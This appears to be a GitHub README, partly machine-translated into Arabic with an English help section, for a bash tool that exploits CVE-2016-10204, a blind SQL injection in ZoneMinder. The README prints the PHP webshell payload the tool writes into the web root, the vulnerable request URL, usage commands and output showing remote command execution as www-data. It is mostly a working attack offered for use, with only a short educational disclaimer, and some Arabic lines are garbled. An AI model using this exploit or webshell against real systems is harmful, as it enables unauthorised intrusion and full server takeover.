0xnullcomet/cve-2016-10204_webshellسكربت bash يوضح الاستغلال اليدوي لثغرة CVE-2016-10204 ضد نقطة نهاية مستهدفة، مما يؤدي إلى رفع webshell بلغة PHP.
سكريبت bash يوضح الاستغلال اليدوي لثغرة CVE-2016-10204 ضد نقطة نهاية مستهدفة، مما يؤدي إلى رفع غلاف ويب PHP.
حاليًا، المتغير الخاص بـ webshell مضبوط لحمولة MySQL. يمكن استبداله بأي خلفية تحتاج استهدافها.
مزيد من المعلومات حول هذه الثغرة يمكن العثور عليه في المصادر التالية:
يعمل هذا السكريبت بعدة طرق:
^(http|https)://[^/]+/zm/index\.php$
/zm/index.php?view=request&request=log&task=query&limit=100&minTime=1466674406.084434
&limit=100 والتي نستغلها للقيام بالتالي:/var/www/html<?php system($_GET['cmd']);?> INTO هذا الملف (نقوم ببثها في الملف أثناء كتابته)id وعرض مخرجاته.Usage:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/chmod +x CVE-2016-10204_Webshell.sh
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh testme http://127.0.0.1/zm/index.php
General Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target_endpoint/zm/index.php>
Help:
Example:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Attempting webshell deployment. [*]
[*]================================[*]
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or
Warning: consider "--output <FILE>" to save to a file.
Exit Code for Timeout: 23
[*]================================[*]
[*]Webshell deployment successful. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
Rerunning against an already exploited target:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Webshell already deployed. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
Included help:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh -h
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
CVE-2016-10204_Webshell
A bash script demonstrating the manual exploitation of CVE-2016-10204 against a target endpoint,
leading to upload of a php webshell.
More information:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10204
- https://www.exploit-db.com/exploits/41239
- https://www.openwall.com/lists/oss-security/2017/02/05/1
Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target/zm/index.php>
Example:
/bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
Notes:
- Verifies if a webshell already exists before attempting exploitation.
- Constructs a malicious SQLi payload to write a PHP webshell into /var/www/html.
- Confirms deployment by executing 'id' via the ?cmd= parameter.
- Please use responsibly only against devices you have permission to do. This is for educational purposes only.